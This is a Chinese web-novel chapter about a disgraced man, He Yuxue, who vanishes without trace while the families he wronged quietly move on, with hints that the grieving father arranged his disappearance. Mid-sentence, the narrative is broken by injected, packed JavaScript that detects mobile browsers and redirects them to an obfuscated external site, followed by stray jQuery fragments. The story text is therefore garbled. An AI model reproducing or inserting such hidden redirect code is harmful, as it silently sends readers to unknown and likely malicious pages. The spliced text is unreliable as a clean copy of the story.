何宇薛从那个冰冷的出租屋里消失了。
不是那种收拾行李、告知房东的离开。是一种更为彻底、更为诡异的蒸发。
桌上的半瓶廉价威士忌还在，瓶口敞着，散发出刺鼻的气味。吃了一半的泡面盒凝固在桌角，一次性筷子随意丢在一旁。床铺凌乱，一件外套搭在椅背上，仿佛主人只是临时出门，马上就会回来。
但他再也没有回来。
几天后，因为拖欠房租，房东用备用钥匙打开了房门。扑鼻而来的是一股食物腐败和灰尘混合的沉闷气味。屋里的一切都保持着一种停滞的状态，唯独不见了租客本人。
手机静静地躺在床头，已经因为没电而自动关机。钱包里的少量现金和证件都在。他没有带走任何东西，不像预谋离开，更不像匆忙逃窜。
他就这样，人间蒸发了。
起初，并没有人在意。他在这个偏远的小城本就没什么社交，同事只当他终于受不了这份清闲和压抑，不告而别另谋高就了。房东骂骂咧咧地清理了他的东西，换了锁，很快又将房子租给了下一个漂泊者。
何家的反应更为淡漠。这个给家族带来耻辱和麻烦的弃子，他的消失甚至让某些人松了口气，仿佛一个见不得光的污点终于自行抹去了。无人深究，无人寻找。他们甚至没有通知警方，只是内部悄无声息地将他的名字从家族名录里划掉，仿佛他从未存在过。
苏家更是早已将他遗忘。一场失败的联姻棋子，不值得浪费丝毫注意力。
时间平静地流逝。
直到某一天，一则不起眼的地方社会新闻角落，报道了在远郊一处因暴雨引发山体滑坡后，暴露出的废弃多年的防空洞深处，发现了一些无法辨认所属个体的、零星的人类生物组织残留物。报道语气平淡，推测可能是多年前的流浪者或意外遇难者，由于年代久远和环境破坏，已无任何调查价值，很快便被其他新闻淹没。
没有人将这则新闻与那个早已被遗忘的、消失的何宇薛联系起来。
只有极少数知情人，在某个时刻，会突然想起这个人。
许父许母的生活似乎逐渐归于一种沉重的平静。他们很少再提起女儿，只是偶尔会带着一束新鲜的小雏菊，去墓园静静地坐一会儿。许父的生意似乎遇到了一些“贵人”相助，平稳度过了一些难关，甚至比以往更加低调稳固。他的眼神比以前更加深沉，难以看透。
陈默在经过长时间的治疗和休养后，逐渐康复。那场突如其来的、几乎致命的袭击成了悬案，最终不了了之。他变得更加沉默，也更加专注于他的摄影，只是作品中莫名多了一层以前没有的、冷冽的质感。
有时，在极深的夜里，许父会独自一人坐在书房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418954|184736||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里。不开灯，只有窗外微弱的光线勾勒出他沉默的轮廓。
他会慢慢摩挲着女儿那本旧相册，翻到最后一页，看着自己那被泪水模糊的绝笔信。
然后，他的目光会移向书桌最底下的一个抽屉。那把抽屉上了锁，里面放着什么，无人知晓。
他的脸上没有任何表情，没有悲伤，没有愤怒，也没有快意。
只有一片深不见底的、冰冷的平静。
仿佛所有该流的泪都已流干，所有该爆发的情绪都已燃烧殆尽，只剩下最终极的、也是最初极的——终结。
何宇薛去了哪里？
是终于无法承受内心的煎熬和自我厌恶，选择了在一个无人知晓的角落自我了断，尸体被野生动物或自然力量分解？
还是在那个他试图实施可笑报复的夜晚之后，被一股更强大、更冷酷、更隐秘的力量彻底从这个世界上“擦拭”掉了，如同用橡皮擦去纸上一道错误的笔迹，干净利落，不留痕迹？
没有人知道答案。
他就像投入大海的一颗石子，没有激起多少涟漪，便彻底沉没于永恒的黑暗与寂静之中。
只留下一个模糊的、令人不寒而栗的疑问，和一段被所有人刻意遗忘的、肮脏的过往。
他消失了。
以一种最适合“渣男”的、无声无息的方式。